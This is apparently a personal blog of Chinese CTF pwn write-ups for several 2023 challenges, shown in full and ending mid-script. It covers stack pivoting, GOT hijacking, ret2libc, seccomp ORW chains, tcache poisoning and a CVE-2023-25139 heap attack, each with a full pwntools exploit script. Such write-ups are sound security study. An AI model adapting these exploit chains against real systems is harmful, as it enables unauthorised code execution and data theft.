2023seccon-rop-2.35

标签:栈溢出|栈迁移|got劫持|rop

题目介绍:The number of ROP gadgets is declining worldwide.

1
2
3
4
5
int __cdecl main(int argc, const char **argv, const char **envp)
{
system("echo Enter something:");
return gets();
}

程序就两行代码

汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
.text:0000000000401156
.text:0000000000401156 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:0000000000401156 public main
.text:0000000000401156 main proc near ; DATA XREF: _start+18↑o
.text:0000000000401156
.text:0000000000401156 var_10= byte ptr -10h
.text:0000000000401156
.text:0000000000401156 ; __unwind {
.text:0000000000401156 F3 0F 1E FA endbr64
.text:000000000040115A 55 push rbp
.text:000000000040115B 48 89 E5 mov rbp, rsp
.text:000000000040115E 48 83 EC 10 sub rsp, 10h
.text:0000000000401162 48 8D 05 9B 0E 00 00 lea rax, command ; "echo Enter something:"
.text:0000000000401169 48 89 C7 mov rdi, rax ; command
.text:000000000040116C E8 DF FE FF FF call _system
.text:000000000040116C
.text:0000000000401171 48 8D 45 F0 lea rax, [rbp+var_10]
.text:0000000000401175 48 89 C7 mov rdi, rax
.text:0000000000401178 B8 00 00 00 00 mov eax, 0
.text:000000000040117D E8 DE FE FF FF call _gets
.text:000000000040117D
.text:0000000000401182 90 nop
.text:0000000000401183 C9 leave
.text:0000000000401184 C3 retn
.text:0000000000401184 ; } // starts at 401156
.text:0000000000401184
.text:0000000000401184 main endp
.text:0000000000401184
.text:0000000000401184 _text ends
.text:0000000000401184

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)

保护基本不用考虑

常规思路自然是泄露libc等

不过这题程序没有单独使用过输出函数

唯一一次输出使用system实现的

因此根本无法做到泄露


第一次错误想法:

如下,可以发现gets的参数是由rbp确定的(rbp-0x10)

1
2
3
4
.text:0000000000401171 48 8D 45 F0                   lea     rax, [rbp+var_10]
.text:0000000000401175 48 89 C7 mov rdi, rax
.text:0000000000401178 B8 00 00 00 00 mov eax, 0
.text:000000000040117D E8 DE FE FF FF call _gets

那么修改rbp就可以做到任意写了

看到以下这段代码,升起了

1
2
3
4
.text:0000000000401162 48 8D 05 9B 0E 00 00          lea     rax, command                    ; "echo Enter something:"
.text:0000000000401169 48 89 C7 mov rdi, rax ; command
.text:000000000040116C E8 DF FE FF FF call _system
.text:000000000040116C

修改command处字符串为/bin/sh

之后再rop到代码中执行system处

并在此之前做栈迁移,防止system栈越界

不过这个想法直接胎死腹中了

因为command所在段根本没有写权限


第二个思路:

同样是利用gets参数由rbp确定的

可以看到gets参数可控,system参数不可控

但如果把gets函数劫持为system

那就可以执行可控参数的system函数

具体实施:

首先栈溢出让程序再次执行以一次gets(返回时leave已经修改rbp为可写gets的got表处)

这样在第二次gets的时候修改gets的got表为

system@plt+binsh字符串+目标rbp+lr+填充padding+binsh地址+0x10+0x401171

为了让system栈不越界还得再次栈迁移将栈往高处迁移

并将rbp控制位为-0x10刚好为binsh字符串

这样返回执行以下代码时

1
2
3
4
.text:0000000000401171 48 8D 45 F0                   lea     rax, [rbp+var_10]
.text:0000000000401175 48 89 C7 mov rdi, rax
.text:0000000000401178 B8 00 00 00 00 mov eax, 0
.text:000000000040117D E8 DE FE FF FF call _gets

实际上执行的就是system(‘/bin/sh’)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
p=process('./chall')
#p=remote('rop-2-35.seccon.games',9999)
elf=ELF('./chall')
gdb.attach(p,'b system')
pause()
rbp1=0x404030
pr=0x40113d
gets=0x401171
lr=0x401183
p.recv()
p.sendline(b'a'*16+p64(rbp1)+p64(gets))
p.sendline(p64(elf.plt['system'])+b'/bin/sh\x00'+p64(0x404800)+p64(lr)+b'\x00'*0x7c0+p64(0x404038)+p64(gets))
p.interactive()

其它题解

赛后发现这个题解更简单暴力

利用了main函数在返回时rdi是一个可写的地址(这就要去观察了,光理论分析要分析出有点难度)

于是在返回时直接调用gets@plt

然后又利用gets的返回值就是指向输入字符串的指针

1
2
3
.text:0000000000401169 48 89 C7                      mov     rdi, rax                        ; command
.text:000000000040116C E8 DF FE FF FF call _system
.text:000000000040116C

再加上面的gadget

就可以直接利用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3
from pwn import *
context.update(arch='amd64', os='linux')
p, u = pack, unpack

r = remote('rop-2-35.seccon.games', 9999)

gets = 0x401060
ret = 0x401110
mov_rdi_rax_call_system = 0x401169

payload = b'A' * 0x18
payload += p64(gets)
payload += p64(ret)
payload += p64(mov_rdi_rax_call_system)
r.sendline(payload)

r.sendline('//////////////////bin/sh')

r.interactive(prompt='')

至于为什么要这么多/,不是很清楚但能观察到输入的字符串前面的某一个字符会变成其ascii-1对应的字符,例如/变为.,如果直接填/bin/sh\x00会变为/bim/sh\x00

ASIS2023-hipwn

标签:栈溢出|ret2libc|rop

题目介绍:can you pwn??

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
char nbytes[72]; // [rsp+Ch] [rbp-54h] BYREF
unsigned __int64 v5; // [rsp+58h] [rbp-8h]

v5 = __readfsqword(0x28u);
setbuf(_bss_start, 0LL);
setbuf(stdin, 0LL);
while ( 1 )
{
puts("How much???");
__isoc99_scanf("%u", nbytes);
puts("ok... now send content");
read(0, &nbytes[4], *(unsigned int *)nbytes);
nbytes[*(unsigned int *)nbytes + 4] = 0;
puts(&nbytes[4]);
puts("wanna do it again?");
__isoc99_scanf("%u", nbytes);
if ( *(_DWORD *)nbytes != 0x539 )
break;
puts("i knew it");
}
return 0;
}

checksec,保护全开

1
2
3
4
5
6
[*] '/home/aichch/pwn/chall'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

很常规的一道ret2libc题,但踩了不少坑

实现如下:

  1. 泄露canary
  2. 泄露程序加载基址
  3. 泄露libc
  4. rop

观察一下栈

利用main泄露程序加载基址

利用libc_start_main泄露libc

常规处理,没有什么特殊的

最后所有流程都完成但运行无法正常getshell,猜测是栈不对齐,加一个ret即可

exp:只适配了远程,但大致是这么个流程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import*
context.log_level='debug'
#from LibcSearcher import*
elf=ELF('./chall')
prdi=0x2a3e5
p=process('./chall')
#p=remote('45.153.243.57',1337)
p.recv()
#gdb.attach(p)
#pause()
p.sendline(b'1024')
p.sendline(b'a'*0x48)
p.recvuntil(b'a'*0x48)
canary=u64(p.recv(8))-0xa
p.recv()
print(hex(canary))
p.sendline(b'1337')
p.sendline(b'1024')
p.send(b'a'*0x68)
p.recvuntil(b'a'*0x68)
code=u64(p.recv(6).ljust(8,b'\x00'))-0x11c9
puts_got=code+0x3fd0
print(hex(code))
p.sendline(b'1337')
p.sendline(b'1024')

p.send(b'a'*0xf8)
p.recvuntil(b'a'*0xf8)
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x80-0x29dc0
p.recv()
print(hex(libc_base))
p.sendline(b'1337')
p.recv()
p.sendline(b'1024')
p.recv()
p.sendline(b'a'*0x48+p64(canary)+p64(0x1)+p64(libc_base+prdi)+p64(libc_base+0x1d8698)+p64(code+0x101a)+p64(libc_base+0x050d60))
p.recv()
p.recv()
p.sendline(b'133')
p.interactive()
#p.recv()
#p.recv()
#p.sendline(b'133')
#p.recvuntil(b'again?\n')
#p.recvuntil(b'again?\n')
#p.recv()
#puts_addr=u64(p.recv(6).ljust(8,b'\x00'))
#print(hex(puts_addr))
#libc=puts_addr-0x84ed0
#one=libc+0xeeccc
#p.sendline(b'1337')
#p.sendline(b'1024')

踩的坑

首先是程序没有给定libc版本,

然后我运行的环境是ubuntu20,gdb提示需要glibc_234

当时直接以为程序原本就是glibc234了,但实际上这是最小需求,真正可能libc版本更高

所以在泄露libc时,就出现了远程__libc_start_main-125并不能找到对应的libc的情况

即e40-7d=dc3无对应libc,当时压根没想到libc_start_main的函数偏移不同

脑子短路了一阵

之后利用更改rbp使得puts泄露got加以确定libc基址才回过神来


小知识点:

libc中绝大部分函数地址是十六进制对齐,小部分是八进制对齐,极小部分是其他情况

因此当计算出的地址不是十六进制或八进制对齐基本可以认为是本地偏移与远程偏移有差

可以就近对齐十六进制或八进制尝试

或者泄露其他函数对照

2023鹏城杯-silent

标签:栈溢出|ret2text?|rop|栈迁移

题目介绍:

程序十分简短

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[64]; // [rsp+10h] [rbp-40h] BYREF

init_seccomp();
alarm(0x1Eu);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
read(0, buf, 0x100uLL);
return 0;
}

开启了沙盒

1
2
3
4
5
6
7
8
9
10
11
12
aichch@sword-shield:~/pwn$ seccomp-tools dump ./silent
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008
0005: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0008
0006: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0008
0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0008: 0x06 0x00 0x00 0x00000000 return KILL

禁止execve,只能orw了

checksec

1
2
3
4
5
6
[*] '/home/aichch/pwn/silent'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x3fe000)

如果不是FULL RELRO可以考虑ret2dl

只能另作他解了

解1:

解1是比赛时根据找到的一题非常像的题目的思路做的

简单来说就是栈迁移将栈迁移到bss段,然后调用_libc_start_main去启动一段代码,于是\_libc_start_main会在迁移后的栈上留下read+17的代码地址,在read等系统调用级的代码中一般都会有syscall

如下所示

不过如果用telescope这些查看的方式是找不到syscall的

还是得用disassemble或者x去查看查找

可以找到这一段,可以视为syscall;ret

利用rop流将存储在栈中的read+17改为read+15便可以了

原理如上

实际利用过程中,选择采取重启read@plt表,毕竟其也属于代码段,而且刚好能更方便的利用__libc_start_main的参数

然后在libc_start_main启动read的时候把libc_start_main的返回栈修改为rop流接着进行orw

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import*

p=process('./silent')
#p=remote('172.10.0.8',9999)
elf=ELF('./silent')

def debug():
gdb.attach(p,'b __libc_start_main')
pause()

def csu(r12,r13,r14,r15):
pay = p64(0x40095A)
pay += p64(0) #rbx
pay += p64(1) #rbp
pay += p64(r12) #call_func
pay += p64(r13) #edi
pay += p64(r14) #rsi
pay += p64(r15) #rdx
pay += p64(0x400940)
pay += b'\x00'*0x38
return pay

#debug()
read_got = elf.got['read']
read_plt = elf.plt['read']
bss = 0x601100
leave_ret = 0x4008FC
pop_rbp = 0x400788
ret=0x4008FD
pay = b'a'*0x48 + csu(read_got,0,bss+0x400,0x580)
pay += p64(pop_rbp) + p64(bss+0x4f8) + p64(leave_ret)
p.send(pay)

syscall = 0x601560



payload = b'flag\x00\x00\x00\x00'+b"\x00"*0xf0+p64(bss+0x400)
payload +=csu(elf.got['__libc_start_main'],read_plt,0,bss+0x478)
p.send(payload)

payload=csu(read_got,0,syscall,1)+csu(read_got,0,bss+0x700,0x2)+ csu(syscall,bss+0x400,0,0)
payload+=csu(read_got,3,bss+0x420,80)+csu(read_got,0,bss+0x700,1)+csu(syscall,1,bss+0x420,40)#orw
p.send(payload)
pause()
p.send(b'\x2f')
pause()
p.send(b'22')
pause()
p.send(b'1')
pause()
p.interactive()

不过这种办法只能本地打通,远程似乎因为不是正常退出没有回显,又或者是flag的地址没有设对

解2:

赛后其他人的解法

用到了一个之前完全没听说过的magic gadget来使得stdout改写为libc中gadget syscall;ret;

学到了,不过得有__do_global_dtors_aux这个函数才行

1
2
3
0:  01 5d c3                add    DWORD PTR [rbp-0x3d],ebx
3: 0f 1f 44 00 00 nop DWORD PTR [rax+rax*1+0x0]
8: f3 c3 repz ret

然后利用libc_csu_init和read的返回数控制前三个参数和rax的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
libc = ELF("/home/aichch/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")

def get_p(name):
global p,elf
# p = process(name,env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("172.10.0.8",9999)
elf = ELF(name)

pop_rdi = 0x0000000000400963
start = 0x400720
csu_1 = 0x00000000040095A
'''
mov rdx, r15
mov rsi, r14
mov edi, r13d
call ds:(__frame_dummy_init_array_entry - 600D90h)[r12+rbx*8]
add rbx, 1
cmp rbp, rbx
'''
csu_2 = 0x000000000400940
'''
pop rbx
pop rbp
pop r12
pop r13
pop r14
pop r15
retn
'''

get_p("./silent")
bss = 0x602100
magic = 0x00000000004007e8
leave_ret = 0x0000000000400876
stdout = 0x000000000601020
op = 0xffffffffffffffff & (0x00000000000d2625-libc.sym['_IO_2_1_stdout_'])
syscall = p64(csu_1) + p64(op) + p64(stdout+0x3d) + p64(1) + p64(0) + p64(0) + p64(0) + p64(magic)
payload = b"A"*0x48 + p64(csu_1) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0) + p64(bss-8) + p64(0x200) + p64(csu_2)
payload += p64(bss-8)*3 + p64(0)*4 + p64(leave_ret)

p.send(payload)

sleep(0.2)


payload = b"/flag\x00\x00\x00" + syscall

payload += p64(csu_1) + p64(0) + p64(1) + p64(elf.got['read']) + p64(0) + p64(bss+0x300) + p64(0x200) + p64(csu_2)
payload += p64(0) + p64(0) + p64(1) + p64(stdout) + p64(bss-8) + p64(0) + p64(0) + p64(csu_2)
payload += p64(0)*2 + p64(1) + p64(elf.got['read']) + p64(3) + p64(bss+0x400) + p64(0x200) + p64(csu_2)
payload += p64(0)*2 + p64(1) + p64(elf.got['read']) + p64(0) + p64(bss+0x300) + p64(0x200) + p64(csu_2)
payload += p64(0)*2 + p64(1) + p64(stdout) + p64(1) + p64(bss+0x400) + p64(0x40) + p64(csu_2)

p.send(payload)
sleep(0.2)

p.send("\x00"*2)
sleep(0.2)
# gdb.attach(p,"")
# sleep(2)
p.send("\x00")
p.interactive()

只能说不愧是大佬,见多识广有经验

2023第六届强网拟态- noob_heap

标签:off-by-null|malloc_consolidate|rop|栈迁移|unlink|tcache attack

题目介绍:noob_heap

checksec

'/home/aichch/pwn/nb'
1
2
3
4
5
Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

保护全开,还有沙盒,禁掉了execve,目标是orw

glibc是2.35,算是高版本了

程序实现就是老四样:增删查改

其中edit存在off by null

让人比较难受的一个点是malloc申请的size只能处于0x20到0x80

这也就是说chunk正常情况下是不会被放到unsorted中的,而2.32往上的版本的fastbin和tcachebin都是加密过的,也就是说无法泄露堆和libc

这里就需要用到一个知识点:

scanf读取数字时发送一个非常长的数字字符串会触发malloc和free,申请的chunk大小为0x810处于largebin,会触发malloc_consolidate处理fastbin

那么最终流程如下:

  1. 申请足够的chunk,并释放使其有足够的数量被放入fastbin,这里申请时就要为之后的fake chunk做一些铺垫,提前写上一些东西
  2. 利用sacnf触发malloc_consolidate,使fastbin合并并加入smallbin称为C0
  3. 申请chunk泄露libc和heap
  4. 从合并后的chunk中切出一部分C1,off by null覆盖掉剩余部分的size
  5. free C1前面的chunk,使得C1进行unlink,并最终造成堆块堆叠
  6. 再将堆叠后的chunk的C1部分取出作为C2,现在可以uaf进行tcache攻击了
  7. tache attack取出environ符号,获得栈地址
  8. 再tcache attack取出返回栈,进行rop构造,因为可写栈有限,所以可以栈迁移到堆上,之后无论是再次栈迁移,还是利用setcontext都可行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
from pwn import*

elf_path='./nb'

libc=ELF('./libc.so.6')
#p=remote("pwn-9c590524c0.challenge.xctf.org.cn", 9999, ssl=True)
p=process(elf_path)
elf=ELF(elf_path)
context.binary=elf_path

context.log_level='debug'

r =lambda num=4096 :p.recv(num)
ru =lambda content,drop=False :p.recvuntil(content,drop)
rl =lambda :p.recvline()
sla =lambda flag,content :p.sendlineafter(flag,content)
sa =lambda flag,content :p.sendafter(flag,content)
sl =lambda content :p.sendline(content)
s =lambda content :p.send(cintent)
itr =lambda :p.interactive()
tbs =lambda content :str(content).encode()
leak=lambda name,addr :log.success('{} = {:#x}'.format(name, addr))

def menu(cho):
sla(b'Chioce >> ',tbs(cho))


def add(size):
menu(1)
sla(b'Size: ',tbs(size))



def edit(idx,content):
menu(3)
sla(b'Index: ',tbs(idx))
sa(b'Note: ',content)



def delete(idx):
menu(2)
sla(b'Index: ',tbs(idx))



def show(idx):
menu(4)
sla(b'Index: ',tbs(idx))



def debug():
gdb.attach(p)
pause()


for i in range(0x10):
add(0x78)
edit(i,(p64(0x100)+p64(0x20))*7)

for i in range(7):
delete(0xf-i)

for i in range(4):
delete(0xf-7-i)


debug()
sl(b'1'*0x400)

add(0x38)

show(5)
#debug()
libc.address=u64(r(6).ljust(8,b'\x00'))-0x219CE0-0x1f0#

leak('libc',libc.address)

edit(5,b'a'*0x38)

delete(0)
delete(3)
sl(b'1'*0x500)

for i in range(9):
add(0x78)

show(12)

heap=u64(r(5).rjust(6,b'\x00').ljust(8,b'\x00'))*16
leak('heap',heap)


delete(12)
delete(11)
delete(10)
delete(9)
delete(8)
delete(7)
delete(6)



edit(5,p64(heap+0x510)+p64(heap+0x510)+p64(0)*4+p64(0x40))

delete(4)


sl(b'1'*0x500)

add(0x38)
add(0x38)
add(0x38)
add(0x38)
delete(4)
delete(6)
delete(8)
delete(5)

environ=libc.sym['__environ']
leak('environ',environ)
edit(7,p64(environ^(heap>>12)))


add(0x38)
add(0x38)
show(5)
stack=u64(r(6).ljust(8,b'\x00'))-0x130
leak('stack',stack)

delete(4)
edit(7,p64((stack-0x18)^(heap>>12)))

add(0x38)


add(0x38)

add(0x78)
add(0x78)
nnn=heap+0x8a0
mmm=heap+0x820
edit(7,b'/flag\x00')

edit(9,p64(mmm-8)+p64(libc.address+0x2a3e5)+p64(heap+0x520)+p64(libc.address+0x45eb0)+p64(2)+p64(libc.address+0x796a2)+p64(0)+p64(libc.address+0x1214ee)+p64(0)+p64(libc.address+0x91316)+p64(libc.address+0x2a3e5)+p64(3)+p64(libc.address+0x4da83))



payload=p64(libc.address+0x1214ee)
payload+=p64(heap+0x530)+p64(libc.address+0x796a2)+p64(0x100)+p64(libc.address+0x45eb0)+p64(0)+p64(libc.address+0x91316)
payload+=p64(libc.address+0x2a3e5)+p64(1)+p64(libc.address+0x1214ee)
payload+=p64(heap+0x530)+p64(libc.address+0x45eb0)+p64(1)+p64(libc.address+0x91316)
edit(8,payload)



#edit(6,p64(heap)+p64(libc.address+0x2a3e5)+p64(0)+p64(libc.address+0x2be51)+p64(heap)+p64(libc.sym['read'])+p64(libc.address+0x562ec))

edit(6,p64(0)*2+p64(nnn)+p64(libc.address+0x4da83))


itr()

需要注意的几个点:

  1. 可以看到开始申请chunk的时候,edit(i,(p64(0x100)+p64(0x20))*7)往堆里填充p64(0x100)+p64(0x20),这就是未之后的off-by-null做准备,C0的size被写为0x100时,往后找到的chunk就会以写入的p64(0x100)+p64(0x20)作为prev_size和size,保持堆不被破坏,并且绕过许多物理相邻chunk检查
  2. orw时,open的参数大多数时候可以只顾第一个参数也就是文件名指针,那可能是因为遗留的第二三个指针的值恰好合适,这次遇到了一个问题,open无法正确打开文件,因此还需要清空其第二三个参数,不过远程打通了,本地通不了(read永远读入0个字符)
  3. 这里exp泄露heap地址时其实可以与上一步合并一起利用,exp里其实多做了一些步骤,具体做法是再释放两个不相邻的chunk,之后接连取出,泄露bk字段
  4. 2.32及以上fastbin和tcache进行了加密,所以进行tcache攻击时需要先处理目标地址

关于tcache和fast加密后的heap leak

在2.32版本中加入了关于tcache和fast的加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache_key;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = 0;
return (void *) e;
}

不过这个加密十分简单

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

现在无法像以往那样直接泄露heap

如果某个chunk并不是第一个放入处于空状态的tcache的chunk,那么就无法泄露heap

不过如果这个chunk是第一个放入处于空状态的tcache,那么因为tcache->counts[tc_idx]在tcache为空时默认为0,也就是说该chunk的next字段是由其next字段地址右移12位与0异或得到的,也就是next字段地址右移12位,再结合heap页对齐,便能够泄露heap了

2023hitctf-scanf

标签:scanf利用|stdin利用|堆

题目介绍:

程序提供了两个申请chunk的接口,每次malloc后会立即要求向其中scanf一个数字

1
2
3
4
5
6
7
8
9
10
if ( v0 == '{' )
{
qword_4060 = malloc(0x20uLL);
__isoc99_scanf("%ld", qword_4060);
}
if ( v0 == '[' )
{
ptr = malloc(0x10uLL);
__isoc99_scanf("%d", ptr);
}

以及对应的free,在free前会将fd字段作为一个数字输出

1
2
3
4
5
6
7
8
9
10
11
12
if ( qword_4060 )
{
printf("%ld\n", *(_QWORD *)qword_4060);
free(qword_4060);
qword_4060 = 0LL;
}
if ( ptr )
{
printf("%d\n", *(unsigned int *)ptr);
free(ptr);
ptr = 0LL;
}

此外还提供了一次单字节置零的机会,以及一个getchar接口

1
2
3
4
5
6
7
8
9
10
if ( !qword_4078 )
{
read(0, &qword_4078, 8uLL);
*(_BYTE *)qword_4078 = 0;
}

if ( v0 == '(' )
{
byte_4068 = getchar();
}

因为处于free的chunk最多只能有两个,且没有足够的操作接口,使得我们无法利用常规的方案

不过无论如何,必做的都是泄露libc

此处我们可以利用scanf读取大数字时触发malloc_consolidate

使得释放的chunk被放入smallbin从而在fd字段写上libc

但是malloc后程序强制我们向fd字段scanf,而scanf又会改变其中的libc,这时候可以用到scanf读数字绕过,即发送+-.三个字符中任意一个

成功泄露libc后,接下来又该如何利用

考虑到程序提供的单字节置零还没使用,于是有可以利用stdin任意写

通过单字节置零将stdin结构体的_IO_buf_base的最低字节置零,使其指向自身

在此之前先将/bin/sh\0字符串解包以十进制数发送以获得字符串

然后置零

观察stdin结构体

1
2
3
4
5
0x7f904eccb8e0 <_IO_2_1_stdin_>:	0x00000000fbad208b	0x00007f904eccb963
0x7f904eccb8f0 <_IO_2_1_stdin_+16>: 0x00007f904eccb964 0x00007f904eccb963
0x7f904eccb900 <_IO_2_1_stdin_+32>: 0x00007f904eccb963 0x00007f904eccb963
0x7f904eccb910 <_IO_2_1_stdin_+48>: 0x00007f904eccb963 0x00007f904eccb963
0x7f904eccb920 <_IO_2_1_stdin_+64>: 0x00007f904eccb964 0x0000000000000000

_IO_buf_base的最低字节置零的话,要填充3个字段才能再次到_IO_buf_base字段

将_IO_buf_base设为free_hook的地址,_IO_buf_base改为free_hook+8

然后此时_IO_read_ptr!=_IO_read_end

读取了0x28个字符,虽然是scanf读的但因为第一个字符为非数字字符所以直接接跳过了,所以不需要换行

所以需要使用getchar*0x28次

然后再读取就能改写free_hook了

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *

def dbg():
gdb.attach(io)
pause()

context.log_level='debug'

io=process('./pwn')
libc = ELF('/home/aichch/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')


io.sendline(b'{}[{}]{*[]' + b'(' * 0x28 + b'[}')
io.sendline(b'0')
io.recvline()
io.sendline(b'9' * 0x400)
io.sendline(b'+')
libc_base = int(io.recvline(keepends=False)) - 0x3c4b98
free_hook_addr = libc_base + 0x3c67a8
stdin_addr = libc_base + libc.sym['_IO_2_1_stdin_']
stdin_buf_base_addr = stdin_addr + 0x8 * 7
system_addr = libc_base + libc.sym['system']

success('libc_base: %x', libc_base)
success('stdin: %x', stdin_addr)

io.recvline()
io.sendline(str(u64(b'/bin/sh\0')).encode())
#dbg()
io.send(p64(stdin_buf_base_addr))

io.send(p64(stdin_addr + 0x83) * 3 + p64(free_hook_addr) + p64(free_hook_addr +
0x8))
#pause()
io.recvline()
#for i in range(0x28):
# io.send(b'')
#sleep(1)
io.send(p64(system_addr))
io.interactive()

2023tpctf-safehttpd

标签:CVE-2023-25139|堆

题目介绍:

这题可以说一半的难度来自于逆向,逆向的量比较大,要搞清楚程序在做什么要花不少时间

不过只要足够的耐心,按照理解一个个将变量与函数命名,总能搞懂的

此外还用到了一个setlocale函数的cve,具体介绍在下方

这道题的第一大难点就是完成与程序交互的脚本

也就是上面说的逆向,完成了这一步

程序对每一个用户都会分配一个管理chunk(内部蕴含一个用来写的指针)

接下来就是利用CVE-2023-25139造成的缓冲区溢出使得一个管理chunk的写指针指向另一个管理指针,进而控制其写指针

并辅以利用程序判断用户时利用‘:’切割,使得原本只能由root使用的show和note功能可以被使用

构造时注意setlocale函数会产生大量的堆利用痕迹

那么此时已经可以做到任意地址任意写了

到这里,之后的利用就十分轻易了

可以采用泄露__environ符号,修改返回地址进行rop攻击与之前的强网拟态noo_heap大致相同

当然若是要采用io流攻击也是可以的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
from pwn import *

def debug(c = 0):
if(c):
gdb.attach(p, c)
else:
gdb.attach(p)
pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa = lambda text,data :p.sendafter(text, data)
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, data)
r = lambda num=4096 :p.recv(num)
rl = lambda text :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter = lambda :p.interactive()
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
int16 = lambda data :int(data,16)
lg= lambda s, num :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = remote('122.9.149.82', 9999)
p = process('./httpd')
elf = ELF('./httpd')
libc = ELF('./libc.so.6')

def init(fd):
pl = 'GET /init\nStdout: ' + str(fd) + '\n'
sl(pl)
rand = process('get_rand')
value = rand.recv(13)
rand.close()
return value

def setlocal(data, fd):
pl = 'GET /setlocale?' + data + '\nStdout: ' + str(fd) + '\n'
sl(pl)
def reg(name, pawd, uid, size, fd):
pl = 'GET /register?' + 'username=' + name + '&password=' + pawd + '&uid=' + str(uid) + '&len=' + str(size) + '\nStdout: ' + str(fd) + '\n'
sl(pl)
def test(data):
pl = 'GET /test' + data + '\n'
sl(pl)
def logoff(name, pawd, fd):
pl = 'GET /logoff?' + 'username=' + name + '&password=' + pawd + '\nStdout: ' + str(fd) + '\n'
sl(pl)
def show(name, pawd, fd):
